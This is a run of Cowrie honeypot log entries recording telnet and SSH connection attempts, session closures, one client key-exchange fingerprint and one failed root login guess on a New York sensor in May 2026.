{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53446,"dst_ip":"10.17.0.5","dst_port":23,"session":"896783e1dd01","protocol":"telnet","message":"New connection: 62.210.97.77:53446 (10.17.0.5:23) [session: 896783e1dd01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:47.636564Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":60332,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3e8eeb92c6a","protocol":"telnet","message":"New connection: 165.232.131.181:60332 (10.17.0.5:23) [session: c3e8eeb92c6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:48.188245Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":19934,"dst_ip":"159.203.135.109","dst_port":22,"session":"58b29770b461","protocol":"ssh","message":"New connection: 94.156.152.18:19934 (159.203.135.109:22) [session: 58b29770b461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:48.911555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:48.916393Z","src_ip":"94.156.152.18","session":"58b29770b461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.764995098114014,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:48.935550Z","src_ip":"62.210.97.77","session":"2563b2ef28d6","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:49.078363Z","src_ip":"94.156.152.18","session":"58b29770b461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.56051564216614,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:49.097403Z","src_ip":"62.210.97.77","session":"f89331e2533a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEENVPS#4VCPU8GBAMD","message":"login attempt [root/QUEENVPS#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:49.467875Z","src_ip":"94.156.152.18","session":"58b29770b461","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":43600,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7428b9a79a3","protocol":"telnet","message":"New connection: 65.60.27.33:43600 (10.17.0.5:23) [session: f7428b9a79a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:50.417689Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:50.596707Z","src_ip":"94.156.152.18","session":"58b29770b461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.31876230239868,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:50.613622Z","src_ip":"62.210.97.77","session":"e470ef16cac5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.95863485336304,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:50.705218Z","src_ip":"65.60.27.33","session":"c5edde5d881e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51892,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c6d731bed11","protocol":"telnet","message":"New connection: 62.210.97.77:51892 (10.17.0.5:23) [session: 2c6d731bed11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:51.033268Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33342,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe4e6c5f2396","protocol":"telnet","message":"New connection: 165.232.131.181:33342 (10.17.0.5:23) [session: fe4e6c5f2396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:51.172873Z"}
{"eventid":"cowrie.session.closed","duration":0.004361152648925781,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:51.177095Z","src_ip":"165.232.131.181","session":"fe4e6c5f2396","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51906,"dst_ip":"10.17.0.5","dst_port":23,"session":"a55d7cc1841d","protocol":"telnet","message":"New connection: 62.210.97.77:51906 (10.17.0.5:23) [session: a55d7cc1841d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:51.473235Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34546,"dst_ip":"10.17.0.5","dst_port":23,"session":"49792dae2535","protocol":"telnet","message":"New connection: 165.232.131.181:34546 (10.17.0.5:23) [session: 49792dae2535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:52.316020Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":60732,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ec59b7ba178","protocol":"telnet","message":"New connection: 165.232.131.181:60732 (10.17.0.5:23) [session: 0ec59b7ba178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:53.843713Z"}
{"eventid":"cowrie.session.closed","duration":0.0054285526275634766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:53.849002Z","src_ip":"165.232.131.181","session":"0ec59b7ba178","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48544,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed3395e959aa","protocol":"telnet","message":"New connection: 65.60.27.33:48544 (10.17.0.5:23) [session: ed3395e959aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:55.400182Z"}
{"eventid":"cowrie.session.closed","duration":40.1620032787323,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:56.615592Z","src_ip":"165.232.131.181","session":"59547307ee5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39218,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2619fd84847","protocol":"telnet","message":"New connection: 38.54.119.93:39218 (10.17.0.5:23) [session: a2619fd84847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:56.758600Z"}
{"eventid":"cowrie.session.closed","duration":47.75083017349243,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:57.033347Z","src_ip":"165.232.131.181","session":"4c36c7bdc649","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.40820503234863,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:58.053138Z","src_ip":"62.210.97.77","session":"4d2cdfb16a4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.954975843429565,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:59.782054Z","src_ip":"165.232.131.181","session":"63909310b4f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.13438272476196,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:59.893416Z","src_ip":"165.232.131.181","session":"4f3573793e5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35898,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad3a3394a74c","protocol":"telnet","message":"New connection: 165.232.131.181:35898 (10.17.0.5:23) [session: ad3a3394a74c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:00.539945Z"}
{"eventid":"cowrie.session.closed","duration":0.0052754878997802734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:00.545071Z","src_ip":"165.232.131.181","session":"ad3a3394a74c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37064,"dst_ip":"10.17.0.5","dst_port":23,"session":"24cf4f3800dc","protocol":"telnet","message":"New connection: 62.210.97.77:37064 (10.17.0.5:23) [session: 24cf4f3800dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:01.047282Z"}
{"eventid":"cowrie.session.closed","duration":42.95483732223511,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:01.632184Z","src_ip":"165.232.131.181","session":"cbf8c6c5086c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.841482639312744,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:03.491751Z","src_ip":"65.60.27.33","session":"7f2179a29f05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59262,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ac352aa4024","protocol":"telnet","message":"New connection: 65.60.27.33:59262 (10.17.0.5:23) [session: 8ac352aa4024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:03.641648Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37074,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c2066f74b42","protocol":"telnet","message":"New connection: 62.210.97.77:37074 (10.17.0.5:23) [session: 7c2066f74b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:04.556136Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37090,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaab5a88edc4","protocol":"telnet","message":"New connection: 62.210.97.77:37090 (10.17.0.5:23) [session: aaab5a88edc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:05.310712Z"}
{"eventid":"cowrie.session.closed","duration":38.68749713897705,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:05.346401Z","src_ip":"65.60.27.33","session":"f1391e9ba8f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35382,"dst_ip":"10.17.0.5","dst_port":23,"session":"04be373a67e2","protocol":"telnet","message":"New connection: 65.60.27.33:35382 (10.17.0.5:23) [session: 04be373a67e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:07.465267Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40922,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e0bafbd005a","protocol":"telnet","message":"New connection: 165.232.131.181:40922 (10.17.0.5:23) [session: 8e0bafbd005a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:07.651520Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46316,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecffdcbe9d21","protocol":"telnet","message":"New connection: 38.54.119.93:46316 (10.17.0.5:23) [session: ecffdcbe9d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:07.741099Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36470,"dst_ip":"10.17.0.5","dst_port":23,"session":"201613af53d9","protocol":"telnet","message":"New connection: 65.60.27.33:36470 (10.17.0.5:23) [session: 201613af53d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:08.222222Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33946,"dst_ip":"10.17.0.5","dst_port":23,"session":"c44b87bf0b05","protocol":"telnet","message":"New connection: 62.210.97.77:33946 (10.17.0.5:23) [session: c44b87bf0b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:08.784323Z"}
{"eventid":"cowrie.session.closed","duration":31.396870374679565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:09.208810Z","src_ip":"62.210.97.77","session":"d8cba2c056ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.116912603378296,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:09.460943Z","src_ip":"62.210.97.77","session":"4e3d8af0cce7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.8821935653686523,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:10.533617Z","src_ip":"165.232.131.181","session":"8e0bafbd005a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33962,"dst_ip":"10.17.0.5","dst_port":23,"session":"13517694c183","protocol":"telnet","message":"New connection: 62.210.97.77:33962 (10.17.0.5:23) [session: 13517694c183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:10.873302Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33978,"dst_ip":"10.17.0.5","dst_port":23,"session":"8da9f6f381a4","protocol":"telnet","message":"New connection: 62.210.97.77:33978 (10.17.0.5:23) [session: 8da9f6f381a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:11.217316Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58924,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a559d377639","protocol":"telnet","message":"New connection: 165.232.131.181:58924 (10.17.0.5:23) [session: 3a559d377639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:11.784037Z"}
{"eventid":"cowrie.session.closed","duration":0.005208015441894531,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:11.789140Z","src_ip":"165.232.131.181","session":"3a559d377639","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33982,"dst_ip":"10.17.0.5","dst_port":23,"session":"a390ded8207e","protocol":"telnet","message":"New connection: 62.210.97.77:33982 (10.17.0.5:23) [session: a390ded8207e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:11.916098Z"}
{"eventid":"cowrie.session.closed","duration":5.332597970962524,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:12.797740Z","src_ip":"65.60.27.33","session":"04be373a67e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.711130142211914,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:14.046200Z","src_ip":"38.54.119.93","session":"c3438c7b4c35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33998,"dst_ip":"10.17.0.5","dst_port":23,"session":"2443554d1ce3","protocol":"telnet","message":"New connection: 62.210.97.77:33998 (10.17.0.5:23) [session: 2443554d1ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:14.463596Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44630,"dst_ip":"10.17.0.5","dst_port":23,"session":"30259e9a6a20","protocol":"telnet","message":"New connection: 165.232.131.181:44630 (10.17.0.5:23) [session: 30259e9a6a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:15.276604Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51484,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d9f3822e3af","protocol":"telnet","message":"New connection: 38.54.119.93:51484 (10.17.0.5:23) [session: 4d9f3822e3af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:15.803024Z"}
{"eventid":"cowrie.session.closed","duration":36.15220236778259,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:15.827843Z","src_ip":"62.210.97.77","session":"199b4ac5d098","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.3816933631897,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:17.401219Z","src_ip":"62.210.97.77","session":"08be15b29838","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34004,"dst_ip":"10.17.0.5","dst_port":23,"session":"37b72d75f345","protocol":"telnet","message":"New connection: 62.210.97.77:34004 (10.17.0.5:23) [session: 37b72d75f345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:17.498842Z"}
{"eventid":"cowrie.session.closed","duration":36.08120012283325,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:18.308238Z","src_ip":"62.210.97.77","session":"35b217265bde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.892974615097046,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:19.089066Z","src_ip":"62.210.97.77","session":"e7595572e545","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.9791419506073,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:19.246318Z","src_ip":"165.232.131.181","session":"88137a56a6a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.36422538757324,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:20.010677Z","src_ip":"165.232.131.181","session":"d771538ec00e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.41017150878906,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:22.172602Z","src_ip":"165.232.131.181","session":"e9e6b425e33e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.895020723342896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:23.368204Z","src_ip":"62.210.97.77","session":"a55d7cc1841d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.9558379650116,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:23.480203Z","src_ip":"65.60.27.33","session":"96ae892717e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.79277801513672,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:24.825934Z","src_ip":"62.210.97.77","session":"2c6d731bed11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56078,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d28339068ec","protocol":"telnet","message":"New connection: 65.60.27.33:56078 (10.17.0.5:23) [session: 0d28339068ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:24.869492Z"}
{"eventid":"cowrie.session.closed","duration":37.354453325271606,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:24.990929Z","src_ip":"62.210.97.77","session":"896783e1dd01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38128,"dst_ip":"10.17.0.5","dst_port":23,"session":"0010f6fda2b1","protocol":"telnet","message":"New connection: 62.210.97.77:38128 (10.17.0.5:23) [session: 0010f6fda2b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:26.346039Z"}
{"eventid":"cowrie.session.closed","duration":40.47148036956787,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:27.076320Z","src_ip":"65.60.27.33","session":"dbc7b483b47c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38134,"dst_ip":"10.17.0.5","dst_port":23,"session":"e415181f883a","protocol":"telnet","message":"New connection: 62.210.97.77:38134 (10.17.0.5:23) [session: e415181f883a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:27.737520Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59628,"dst_ip":"10.17.0.5","dst_port":23,"session":"e984c93ffc07","protocol":"telnet","message":"New connection: 38.54.119.93:59628 (10.17.0.5:23) [session: e984c93ffc07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:28.068724Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38138,"dst_ip":"10.17.0.5","dst_port":23,"session":"79bb43325226","protocol":"telnet","message":"New connection: 62.210.97.77:38138 (10.17.0.5:23) [session: 79bb43325226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:28.175210Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38142,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ba9a5afbf8e","protocol":"telnet","message":"New connection: 62.210.97.77:38142 (10.17.0.5:23) [session: 2ba9a5afbf8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:28.454932Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36420,"dst_ip":"10.17.0.5","dst_port":23,"session":"0179b9020319","protocol":"telnet","message":"New connection: 62.210.97.77:36420 (10.17.0.5:23) [session: 0179b9020319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:29.481460Z"}
{"eventid":"cowrie.session.closed","duration":34.85204839706421,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:30.252088Z","src_ip":"65.60.27.33","session":"ed3395e959aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.17051100730896,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:30.588088Z","src_ip":"65.60.27.33","session":"f7428b9a79a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36434,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf209204753d","protocol":"telnet","message":"New connection: 62.210.97.77:36434 (10.17.0.5:23) [session: bf209204753d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:30.854409Z"}
{"eventid":"cowrie.session.closed","duration":44.62973165512085,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:03:31.416690Z","src_ip":"65.60.27.33","session":"1077a5d54c72","protocol":"telnet"}
